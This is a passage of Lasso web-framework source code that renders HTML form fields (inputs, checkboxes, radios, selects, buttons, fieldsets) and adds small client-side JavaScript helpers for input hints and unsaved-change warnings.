0;\n\t\t\t\t\t\t#output += '<input type=\"hidden\" name=\"' + #clientparam + '\"' + #endslash + '>\\n';\n\t\t\t\t\t/if;\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t\tif: (self -> 'database') -> type == 'database';\n\t\t\t\tif: (self -> 'database') -> lockfield != '' && (self -> 'db_lockvalue') != '';\n\t\t\t\t\t#output += '<input type=\"hidden\" name=\"-lockvalue\" value=\"' + (encode_html: (self -> 'db_lockvalue')) + '\"' + #endslash + '>\\n';\n\t\t\t\telse: (self -> 'database') -> keyfield != '' && (self -> 'db_keyvalue') != '';\n\t\t\t\t\t#output += '<input type=\"hidden\" name=\"' + (self -> 'keyparamname') + '\" value=\"' + (encode_html: (self -> 'db_keyvalue')) + '\"' + #endslash + '>\\n';\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\t\t\n\t\t\n\t\tif: !(local_defined: 'start') && !(local_defined: 'end');\n\n\t\t\t(local_defined: 'name') && !((self -> 'fields') >> #name) \t? \treturn;\n\t\t\t\n\t\t\t(local_defined: 'name')\t\t? local: 'from'=#name, 'to'=#name;\n\t\t\t!(local_defined: 'from') \t\t? local: 'from'=1;\n\t\t\t!(local_defined: 'to') \t\t\t? local: 'to'=(self -> 'fields') -> size;\n\t\t\t!(local_defined: 'type')\t\t? local: 'type'=(self -> 'validfieldtypes');\n\t\t\t!(local_defined: 'excludetype')\t? local: 'excludetype'=map;\n\t\t\t#type -> type == 'string' \t\t? #type = (map: #type);\n\t\t\t#excludetype -> type == 'string' ? #excludetype = (map: #excludetype);\n\n\t\t\t// only render form inputs if we are not only rendering the form tags\n\t\t\n\t\t\t// use field name if #from is a string\n\t\t\t#from -> type == 'string' ? #from = integer: ((self -> 'fields') -> (findindex: #from) -> first);\n\t\t\t#from == 0 ? #from = 1;\n\t\t\t// negative numbers count from the end\n\t\t\t#from < 0 ? #from = (self -> 'fields') -> size + #from;\n\t\n\t\t\t// use field name if #to is a string\n\t\t\t#to -> type == 'string' ? #to = integer: ((self -> 'fields') -> (findindex: #to) -> last);\n\t\t\t#to == 0 ? #to = (self -> 'fields') -> size;\n\t\t\t// negative numbers count from the end\n\t\t\t#to < 0 ? #to = (self -> 'fields') -> size + #to;\n\n\t\t\t// sanity check\n\t\t\t#from > #to ? #to = #from;\n\t\n\t\t\tlocal: 'template'=( (self -> 'template') != '' \n\t\t\t\t? (self -> 'template') \t\t\n\t\t\t\t| '#label# #field##required#<br' + #endslash + '>\\n' );\n\t\t\tlocal: 'buttontemplate'=( (self -> 'buttontemplate') != '' \n\t\t\t\t? (self -> 'buttontemplate') \n\t\t\t\t| (self -> 'template') != '' \n\t\t\t\t? (self -> 'template')\n\t\t\t\t| '#field#\\n' );\n\t\t\tlocal: 'requiredmarker'=(self -> 'required');\n\t\t\tlocal: 'defaultclass'=( (self -> 'class') != '' \n\t\t\t\t? (self -> 'class') \t\t\n\t\t\t\t| '');\n\t\t\tlocal: 'errorclass'=( (self -> 'errorclass') != '' \n\t\t\t\t? ' class=\"' + (self -> 'errorclass') + '\"' \n\t\t\t\t| ' style=\"color: red;\"');\n\t\t\t\n\t\t\tif: (local_defined: 'legend');\n\t\t\t\t(self -> 'render_fieldset2_open') = true;\n\t\t\t\t#output += '<fieldset>\\n'\n\t\t\t\t\t+ '<legend>' + #legend + '</legend>\\n';\n\t\t\t/if;\n\n\t\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\t\t#onefield = #fieldpair -> value;\n\t\t\t\t#fieldvalue = (#onefield -> (find: 'value'));\n\t\t\t\t#fieldvalue_array = #fieldvalue;\n\t\t\t\tif: #fieldvalue_array -> type != 'array';\n\t\t\t\t\tif: #fieldvalue_array >> '\\r'; // Filemaker value list with multiple checked\n\t\t\t\t\t\t#fieldvalue_array = #fieldvalue_array -> (split: '\\r');\n\t\t\t\t\telse: #fieldvalue_array >> ','; // Other database with multiple checked\n\t\t\t\t\t\t#fieldvalue_array = #fieldvalue_array -> (split: ',');\n\t\t\t\t\telse;\n\t\t\t\t\t\t#fieldvalue_array = array: #fieldvalue_array;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\tif: #onefield >> 'options';\n\t\t\t\t\t#options = (#onefield -> find: 'options');\n\t\t\t\t\t// convert types for pair \n\t\t\t\t\titerate: #options, (local: 'option');\n\t\t\t\t\t\tif: #option -> type != 'pair';\n\t\t\t\t\t\t\t#option = (pair: #option = #option);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t// name must be string to make sure comparsions work\n\t\t\t\t\t\t(#option -> name) = (string: #option -> name);\n\t\t\t\t\t/iterate;\n\t\t\t\t/if;\n\t\t\t\t\n\t\t\t\tif: loop_count >= #from \n\t\t\t\t\t&& loop_count <= #to\n\t\t\t\t\t&& #type >> #onefield -> (find: 'type')\n\t\t\t\t\t&& !(#excludetype >> #onefield -> (find: 'type'));\n\t\t\t\t\tif: (self -> 'unsavedwarning') == '';\n\t\t\t\t\t\t#nowarning=true;\n\t\t\t\t\telse;\n\t\t\t\t\t\t#nowarning=#onefield -> (find: 'nowarning');\n\t\t\t\t\t/if;\n\t\t\t\t\t\n\t\t\t\t\tif: #onefield -> (find: 'template') -> size;\n\t\t\t\t\t\t#renderrow = #onefield -> (find: 'template');\n\t\t\t\t\telse: (map: 'submit', 'reset', 'image') >> #onefield -> (find: 'type');\n\t\t\t\t\t\t#renderrow=#buttontemplate;\n\t\t\t\t\telse;\n\t\t\t\t\t\t#renderrow=#template;\n\t\t\t\t\t/if;\n\t\t\t\t\tlocal: 'id'= string;\n\t\t\t\t\tif: (#onefield -> (find: 'id')) !='';\n\t\t\t\t\t\t#id = (#onefield -> (find: 'id'));\n\t\t\t\t\telse;\n\t\t\t\t\t\t#id = #formid + '_' + (#onefield -> (find: 'name')) + loop_count;\n\t\t\t\t\t/if;\n\t\t\t\t\tif: (self -> 'errors') -> size == 0 && #focusfield == '' && #onefield -> (find: 'focus');\n\t\t\t\t\t\t// give this field focus\n\t\t\t\t\t\t#focusfield = #id;\n\t\t\t\t\t/if;\n\t\t\t\t\t\n\t\t\t\t\t// set field label, with error marker if field validation failed\n\t\t\t\t\t// if: (self -> 'exceptionfieldtypes') >> (#onefield -> (find: 'type')) && (#onefield -> (find: 'type')) != 'file';\n\t\t\t\t\t//\t#renderrow -> (replace: '#label#', '');\n\t\t\t\t\t//else: \n\t\t\t\t\tif: (self -> 'errors') -> type == 'array' && (self -> 'errors') >> (#onefield -> (find: 'name'));\n\t\t\t\t\t\t#renderrow -> (replace: '#label#', \n\t\t\t\t\t\t\t'<label for=\"' + #id + '\" id=\"' + #id + '_label\" ' + #errorclass + '>' + (#onefield -> find('label')) + '</label>');\n\t\t\t\t\t\tif: #focusfield == '';\n\t\t\t\t\t\t\t#focusfield = #id;\n\t\t\t\t\t\t/if;\n\t\t\t\t\telse;\n\t\t\t\t\t\t#renderrow -> (replace: '#label#', '<label for=\"' + #id + '\" id=\"' + #id + '_label\">' + (#onefield -> find('label')) + '</label>');\n\t\t\t\t\t/if;\n\t\t\t\t\t\n\t\t\t\t\t// set markers for required fields \n\t\t\t\t\tif: #onefield -> (find: 'required') && !((self -> 'exceptionfieldtypes') >> (#onefield -> (find: 'type')) );\n\t\t\t\t\t\t#renderrow -> (replace: '#required#', (encode_smart: #requiredmarker));\n\t\t\t\t\telse;\n\t\t\t\t\t\t#renderrow -> (replace: '#required#', '');\n\t\t\t\t\t/if;\n\t\t\t\t\t#renderfield=string;\n\t\t\t\t\t#renderfield_base = ' name=\"' + (encode_html: (#onefield -> (find: 'name'))) + '\"'\n\t\t\t\t\t\t+ (#onefield >> 'class' ?  ' class=\"' + (#onefield -> (find: 'class')) + '\"' \n\t\t\t\t\t\t\t| (#defaultclass != '' ? ' class=\"' + #defaultclass + '\"') )\n\t\t\t\t\t\t+ ' id=\"' +  (encode_html: #id) + '\"'\n\t\t\t\t\t\t+ (#onefield >> 'raw'\t?  ' ' + (#onefield -> (find: 'raw')) )\n\t\t\t\t\t\t+ (#onefield -> (find: 'disabled') ? ' disabled=\"disabled\"');\n\n\t\t\t\t\t#fieldtype=(#onefield -> (find: 'type'));\n\t\t\t\t\tif: #fieldtype == 'search' && client_type !>> 'WebKit';\n\t\t\t\t\t\t// only show <input type=search\" for WebKit based browsers like Safari\n\t\t\t\t\t\t#fieldtype = 'text';\n\t\t\t\t\t/if;\n\t\t\t\t\tselect: #fieldtype;\n\t\t\t\t\tcase: 'html';\n\t\t\t\t\t\t#renderrow = #template;\n\t\t\t\t\t\t#renderrow -> (replace: '#label#', '');\n\t\t\t\t\t\t#renderrow -> (replace: '#required#', '');\n\t\t\t\t\t\t#renderfield = #fieldvalue + '\\n';\n\t\t\t\t\tcase: 'legend';\n\t\t\t\t\t\t#renderrow = '';\n\t\t\t\t\t\tif: (self -> 'render_fieldset_open');\n\t\t\t\t\t\t\t#output += '</fieldset>\\n';\n\t\t\t\t\t\t\t(self -> 'render_fieldset_open') = false;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#output += '<fieldset' \n\t\t\t\t\t\t\t+ (#onefield >> 'class' ?  ' class=\"' + (#onefield -> (find: 'class')) + '\"' \n\t\t\t\t\t\t\t\t| (#defaultclass != '' ? ' class=\"' + #defaultclass + '\"') )\n\t\t\t\t\t\t\t+ ((#onefield -> (find: 'id') != '') ? ' id=\"' + #id + '\"') \n\t\t\t\t\t\t\t+ '>\\n';\n\t\t\t\t\t\t(self -> 'render_fieldset_open') = true;\n\t\t\t\t\t\t#output += '<legend>' + (encode_html: #fieldvalue) + '</legend>\\n';\n\t\t\t\t\tcase: 'fieldset';\n\t\t\t\t\t\t#renderrow = '';\n\t\t\t\t\t\tif: (self -> 'render_fieldset_open');\n\t\t\t\t\t\t\t#output += '</fieldset>\\n';\n\t\t\t\t\t\t\t(self -> 'render_fieldset_open') = false;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: #fieldvalue !== false;\n\t\t\t\t\t\t\t(self -> 'render_fieldset_open') = true;\n\t\t\t\t\t\t\t#output += '<fieldset' \n\t\t\t\t\t\t\t+ (#onefield >> 'class' ?  ' class=\"' + (#onefield -> (find: 'class')) + '\"' \n\t\t\t\t\t\t\t\t| (#defaultclass != '' ? ' class=\"' + #defaultclass + '\"') )\n\t\t\t\t\t\t\t+ ((#onefield -> (find: 'id') != '') ? ' id=\"' + #id + '\"') \n\t\t\t\t\t\t\t+ '>\\n<legend>' + (encode_html: #fieldvalue) + '</legend>\\n'; // must contain a legend\n\t\t\t\t\t\t/if;\n\t\t\t\t\tcase: 'hidden';\n\t\t\t\t\t\t#renderfield += '<input type=\"hidden\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"';\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\t\t#renderrow = '';\n\t\t\t\t\t\t#output += #renderfield + '\\n';\n\t\t\t\t\tcase: 'text';\n\t\t\t\t\t\t#renderfield += '<input type=\"text\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"'\n\t\t\t\t\t\t\t+ (#onefield >> 'size' \t? ' size=\"' + (#onefield -> (find: 'size')) + '\"' )\n\t\t\t\t\t\t\t+ (#onefield >> 'maxlength' \t? ' maxlength=\"' + (#onefield -> (find: 'maxlength')) + '\"' );\n\t\t\t\t\t\tif: !(self -> 'noscript') && (#onefield -> (find: 'hint')) != '';\n\t\t\t\t\t\t\t#renderfield += ' onfocus=\"clearHint(this)\" onblur=\"setHint(this, \\'' (#onefield -> (find: 'hint')) '\\')\"';\n\t\t\t\t\t\t\t#usehint -> (insert: (#onefield -> find: 'name') = #id);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t#renderfield += ' onkeydown=\"dirtyvalue(this)\" onkeyup=\"makedirty(this)\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\tcase: 'search';\n\t\t\t\t\t\t#renderfield += '<input type=\"search\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"'\n\t\t\t\t\t\t\t+ (#onefield >> 'size' \t? ' size=\"' + (#onefield -> (find: 'size')) + '\"' );\n\t\t\t\t\t\tif: (#onefield -> (find: 'hint')) != '';\n\t\t\t\t\t\t\t#renderfield += ' placeholder=\"' + (encode_html: (#onefield -> (find: 'hint'))) + '\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t#renderfield += ' onkeydown=\"dirtyvalue(this)\" onkeyup=\"makedirty(this)\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\tcase: 'password';\n\t\t\t\t\t\t#renderfield += '<input type=\"password\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"'\n\t\t\t\t\t\t\t+ (#onefield >> 'size' \t? ' size=\"' + (#onefield -> (find: 'size')) + '\"' );\n\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t#renderfield += ' onkeydown=\"dirtyvalue(this)\" onkeyup=\"makedirty(this)\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\tcase: 'textarea';\n\t\t\t\t\t\t#renderfield += '<textarea' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ (#onefield >> 'cols' \t? ' cols=\"' + (#onefield -> (find: 'cols')) + '\"')\n\t\t\t\t\t\t\t+ (#onefield >> 'rows' \t? ' rows=\"' + (#onefield -> (find: 'rows')) + '\"');\n\t\t\t\t\t\tif: !(self -> 'noscript') && (#onefield -> (find: 'hint')) != '';\n\t\t\t\t\t\t\t#renderfield += ' onfocus=\"clearHint(this)\" onblur=\"setHint(this, \\'' (#onefield -> (find: 'hint')) '\\')\"';\n\t\t\t\t\t\t\t#usehint -> (insert: (#onefield -> find: 'name') = #id);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t#renderfield += ' onkeydown=\"dirtyvalue(this)\" onkeyup=\"makedirty(this)\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += '>'\n\t\t\t\t\t\t\t+ (encode_html: #fieldvalue) + '</textarea>';\n\t\t\t\t\tcase: 'checkbox';\n\t\t\t\t\t\tlocal: 'optioncount'=integer;\n\t\t\t\t\t\t#renderfield += '<div class=\"inputgroup'\n\t\t\t\t\t\t\t+ (#onefield >> 'class' ?  ' ' + (#onefield -> find('class'))\n\t\t\t\t\t\t\t| (#defaultclass != '' ? ' ' + #defaultclass) ) \n\t\t\t\t\t\t\t+ '\" id=\"' + #id + '\">\\n';\n\t\t\t\t\t\titerate: #options, (local: 'option');\n\t\t\t\t\t\t\t#optioncount += 1;\n\t\t\t\t\t\t\t#renderfield += (#optioncount > 1 && (#onefield -> find: 'linebreak') ? '<br' + #endslash + '>') + '\\n';\n\t\t\t\t\t\t\tif: #option -> name == '-optgroup';\n\t\t\t\t\t\t\t\t#renderfield += (!(#onefield -> find: 'linebreak') && #optioncount > 1 ? '\\n<br' + #endslash + '>');\n\t\t\t\t\t\t\t\tif: #option -> value != '-optgroup';\n\t\t\t\t\t\t\t\t\t#renderfield += #option -> value\n\t\t\t\t\t\t\t\t\t\t+ (!(#onefield -> find: 'linebreak') ? '<br' + #endslash + '>\\n');\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t#renderfield +=  '<input type=\"checkbox\"'\n\t\t\t\t\t\t\t\t\t+ (string_replaceregexp: #renderfield_base, -find='id=\"(.+?)\"', -replace=('id=\"\\\\1_' + #optioncount + '\"'))\n\t\t\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #option -> name) + '\"';\n\t\t\t\t\t\t\t\tif: #option -> name != '' && #fieldvalue_array >> #option -> name;\n\t\t\t\t\t\t\t\t\t#renderfield +=' checked=\"checked\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t\t\t#renderfield += ' onclick=\"makedirty();\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t#renderfield += #endslash + '> <label for=\"' + #id + '_' + #optioncount \n\t\t\t\t\t\t\t\t\t+ '\" id=\"' + #id + '_' + #optioncount + '_label\"';\n\t\t\t\t\t\t\t\tif: (self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t\t\t#renderfield += ' onclick=\"makedirty();\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t#renderfield += '>' + (#option -> value) + '</label> ';\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t#renderfield += '</div>\\n';\n\t\t\t\t\tcase: 'radio';\n\t\t\t\t\t\tlocal: 'optioncount'=integer;\n\t\t\t\t\t\t#renderfield += '<div class=\"inputgroup'\n\t\t\t\t\t\t\t+ (#onefield >> 'class' ?  ' ' + (#onefield -> find('class'))\n\t\t\t\t\t\t\t| (#defaultclass != '' ? ' ' + #defaultclass) ) \n\t\t\t\t\t\t\t+ '\" id=\"' + #id + '\">\\n';\n\t\t\t\t\t\titerate: #options, (local: 'option');\n\t\t\t\t\t\t\t#optioncount += 1;\n\t\t\t\t\t\t\t#renderfield += (#optioncount > 1 && (#onefield -> find: 'linebreak') ? '<br' + #endslash + '>') + '\\n';\n\t\t\t\t\t\t\tif: #option -> name == '-optgroup';\n\t\t\t\t\t\t\t\t#renderfield += (!(#onefield -> find: 'linebreak') && #optioncount > 1 ? '\\n<br' + #endslash + '>');\n\t\t\t\t\t\t\t\tif: #option -> value != '-optgroup';\n\t\t\t\t\t\t\t\t\t#renderfield += #option -> value\n\t\t\t\t\t\t\t\t\t\t+ (!(#onefield -> find: 'linebreak') ? '<br' + #endslash + '>\\n');\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t#renderfield += '<input type=\"radio\"'\n\t\t\t\t\t\t\t\t\t+ (string_replaceregexp: #renderfield_base, -find='id=\"(.+?)\"', -replace=('id=\"\\\\1_' + #optioncount + '\"'))\n\t\t\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #option -> name) + '\"';\n\t\t\t\t\t\t\t\tif: #option -> name != '' && #fieldvalue_array >> #option -> name;\n\t\t\t\t\t\t\t\t\t#renderfield +=' checked=\"checked\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t\t\t#renderfield += ' onclick=\"makedirty();\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t#renderfield += #endslash + '> <label for=\"' + #id + '_' + #optioncount \n\t\t\t\t\t\t\t\t\t+ '\" id=\"' + #id + '_' + #optioncount + '_label\"';\n\t\t\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\t\t\t#renderfield += ' onclick=\"makedirty();\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t#renderfield += '>' + (#option -> value) + '</label> ';\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t#renderfield += '</div>\\n';\n\t\t\t\t\tcase: 'select';\n\t\t\t\t\t\t#renderfield += '<select '\n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ (#onefield -> (find: 'multiple') ? ' multiple')\n\t\t\t\t\t\t\t+ (#onefield >> 'size' \t? ' size=\"' + (#onefield -> (find: 'size')) + '\"' );\n\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\tif: #renderfield >> 'onchange=\"';\n\t\t\t\t\t\t\t\t#renderfield -> (replace: 'onchange=\"', 'onchange=\"makedirty();');\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t#renderfield += ' onchange=\"makedirty()\"';\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += '>\\n';\n\t\t\t\t\t\tif: (#onefield -> (find: 'default')) != '' && (#onefield -> (find: 'size')) <= 1;\n\t\t\t\t\t\t\t#renderfield += '<option'\n\t\t\t\t\t\t\t\t+ ' value=\"\">' + (encode_html: (#onefield -> (find: 'default'))) + '</option>\\n';\n\t\t\t\t\t\t\t#renderfield += '<option'\n\t\t\t\t\t\t\t\t+ ' value=\"\"></option>\\n';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tlocal: 'optgroup_open'=false;\n\t\t\t\t\t\titerate: #options, (local: 'option');\n\t\t\t\t\t\t\tif: #option -> name == '-optgroup';\n\t\t\t\t\t\t\t\tif: #optgroup_open;\n\t\t\t\t\t\t\t\t\t#renderfield += '</optgroup>\\n';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\tif: #option -> value != '-optgroup';\n\t\t\t\t\t\t\t\t\t#renderfield += '<optgroup label=\"' + (#option -> value) + '\">\\n';\n\t\t\t\t\t\t\t\t\t#optgroup_open = true;\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t#renderfield += '<option'\n\t\t\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #option -> name) + '\"';\n\t\t\t\t\t\t\t\tif: #option -> name != '' && #fieldvalue_array >> #option -> name;\n\t\t\t\t\t\t\t\t\t#renderfield +=' selected=\"selected\"';\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t#renderfield +=  '>' + (encode_html: #option -> value) + '</option>\\n';\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\tif: #optgroup_open;\n\t\t\t\t\t\t\t#renderfield += '</optgroup>\\n';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += '</select>\\n';\n\t\t\t\t\tcase: 'submit';\n\t\t\t\t\t\t#renderfield += '<input type=\"submit\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"';\n\t\t\t\t\t\tif: (self -> formmode) == 'add' \n\t\t\t\t\t\t\t&& !(#onefield -> (find: 'disabled')) // already disabled\n\t\t\t\t\t\t\t&& (#onefield -> (find: 'originaltype') == 'savebutton' || #onefield -> (find: 'originaltype') == 'deletebutton'\n\t\t\t\t\t\t\t|| #onefield -> (find: 'name') == 'button_save' || #onefield -> (find: 'name') == 'button_delete');\n\t\t\t\t\t\t\t#renderfield += ' disabled=\"disabled\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: !(self -> 'noscript') \n\t\t\t\t\t\t\t&& (#onefield -> (find: 'name') == 'button_delete' \n\t\t\t\t\t\t\t\t|| #onefield -> (find: 'originaltype') == 'deletebutton' \n\t\t\t\t\t\t\t\t|| #onefield -> (find: 'confirmmessage') != '');\n\t\t\t\t\t\t\tlocal: 'confirmmessage'=(#onefield -> (find: 'confirmmessage') != '' \n\t\t\t\t\t\t\t\t? #onefield -> (find: 'confirmmessage') | 'Really delete?');\n\t\t\t\t\t\t\t#confirmmessage -> (replace: '\"', '&quot;');\n\t\t\t\t\t\t\t#confirmmessage -> (replace: '\\'', '\\\\\\'');\n\t\t\t\t\t\t\t#renderfield += ' onclick=\"return confirm(\\'' + #confirmmessage +  '\\')\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\tcase: 'reset';\n\t\t\t\t\t\t#renderfield += '<input type=\"reset\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"';\n\t\t\t\t\t\tif: !(self -> 'noscript') && #onefield -> (find: 'confirmmessage') != '';\n\t\t\t\t\t\t\tlocal: 'confirmmessage'=#onefield -> (find: 'confirmmessage');\n\t\t\t\t\t\t\t#confirmmessage -> (replace: '\"', '&quot;');\n\t\t\t\t\t\t\t#confirmmessage -> (replace: '\\'', '\\\\\\'');\n\t\t\t\t\t\t\t#renderfield += ' onclick=\"if(confirm(\\'' + #confirmmessage +  '\\')){makeundirty();return true}else{return false};\"';\n\t\t\t\t\t\telse: !(self -> 'noscript');\n\t\t\t\t\t\t\t#renderfield += ' onclick=\"makeundirty();\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\tcase: 'image';\n\t\t\t\t\t\t#renderfield += '<input type=\"image\"' \n\t\t\t\t\t\t\t+ #renderfield_base\n\t\t\t\t\t\t\t+ ' value=\"' + (encode_html: #fieldvalue) + '\"';\n\t\t\t\t\t\tif: (self -> formmode) == 'add' && \n\t\t\t\t\t\t\t(#onefield -> (find: 'originaltype') == 'savebutton' || #onefield -> (find: 'originaltype') == 'deletebutton'\n\t\t\t\t\t\t\t|| #onefield -> (find: 'name') == 'button_save' || #onefield -> (find: 'name') == 'button_delete');\n\t\t\t\t\t\t\t#renderfield += ' disabled=\"disabled\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: !(self -> 'noscript')\n\t\t\t\t\t\t\t&& (#onefield -> (find: 'name') == 'button_delete' \n\t\t\t\t\t\t\t\t|| #onefield -> (find: 'originaltype') == 'deletebutton' \n\t\t\t\t\t\t\t\t|| #onefield -> (find: 'confirmmessage') != '');\n\t\t\t\t\t\t\tlocal: 'confirmmessage'=(#onefield -> (find: 'confirmmessage') != '' \n\t\t\t\t\t\t\t\t? #onefield -> (find: 'confirmmessage') | 'Really delete?');\n\t\t\t\t\t\t\t#confirmmessage -> (replace: '\"', '&quot;');\n\t\t\t\t\t\t\t#confirmmessage -> (replace: '\\'', '\\\\\\'');\n\t\t\t\t\t\t\t#renderfield += ' onclick=\"return confirm(\\'' + #confirmmessage +  '\\')\"';\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\tcase: 'file';\n\t\t\t\t\t\t#renderfield += '<input type=\"file\"' \n\t\t\t\t\t\t\t+ #renderfield_base;\n\t\t\t\t\t\tif: !(self -> 'noscript') && !#nowarning;\n\t\t\t\t\t\t\tif: #renderfield >> 'onchange=\"';\n\t\t\t\t\t\t\t\t#renderfield -> (replace: 'onchange=\"', 'onchange=\"makedirty();');\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t#renderfield += ' onchange=\"makedirty()\"';\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#renderfield += #endslash + '>';\n\t\t\t\t\t/select;\n\t\t\t\t\t#renderrow -> (replace: '#field#', #renderfield);\n\t\t\t\t\t#output += #renderrow;\n\t\t\t\t/if; \n\t\t\t/iterate;\n\t\t\t\n\t\t\t\t\n\t\t/if; //  !(local_defined: 'start') && !(local_defined: 'end');\n\n\t\t// Add just the needed scripts to support the client side functionality\n\t\tif(!(self -> 'noscript'));\n\t\t\t#output >> 'togglecontrol(' \n\t\t\t\t? self -> (afterhandler: -endscript='function togglecontrol(obj){\n\t\t\t\t\t// toggles checkboxes and radios when clicking on label (for browsers that don´t support this already)\n\t\t\t\t\tswitch (obj.type){\n\t\t\t\t\tcase \\'checkbox\\':\n\t\t\t\t\t\tobj.checked=!obj.checked;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \\'radio\\':\n\t\t\t\t\t\tobj.checked=true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}');\n\t\t\t#output >> 'setHint('\n\t\t\t\t? \t\tself -> (afterhandler: -endscript='function setHint(myField, hint) {\n\t\t\t\t\tif(myField.value==\\'\\') {\n\t\t\t\t\t\tif(myField.name.indexOf(\\'off_\\') != 0) {\n\t\t\t\t\t\t\tmyField.name=\\'off_\\' + myField.name;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmyField.value=hint;\n\t\t\t\t\t\tgetStyleObject(myField.id).color=\\'#aaa\\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfunction clearHint(myField) {\n\t\t\t\t\tif(myField.name.indexOf(\\'off_\\') == 0) {\n\t\t\t\t\t\tmyField.name=myField.name.substr(4);\n\t\t\t\t\t\tmyField.value=\\'\\';\n\t\t\t\t\t\tgetStyleObject(myField.id).color=\\'black\\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfunction getStyleObject(objectId) {\n\t\t\t\t\tif(document.getElementById && document.getElementById(objectId)) {\n\t\t\t\t\treturn document.getElementById(objectId).style;\n\t\t\t\t\t} else {\n\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}');\n\t\t\n\t\t\t#output >> 'makedirty(' || #output >> 'validateform('\n\t\t\t\t? self -> (afterhandler: -endscript='\n\t\t\t\tvar dirty=' + ((self -> 'errors') -> size ? 'true' | 'false') + ';\n\t\t\t\tvar dirtycheckname=null;\n\t\t\t\tvar dirtycheckvalue=null;\n\t\t\t\tvar submitBlock=false;\n\t\t\t\tfunction validateform(myForm) {\n\t\t\t\t\t// perform validation of myForm here\n\t\t\t\t\tif(submitBlock){return 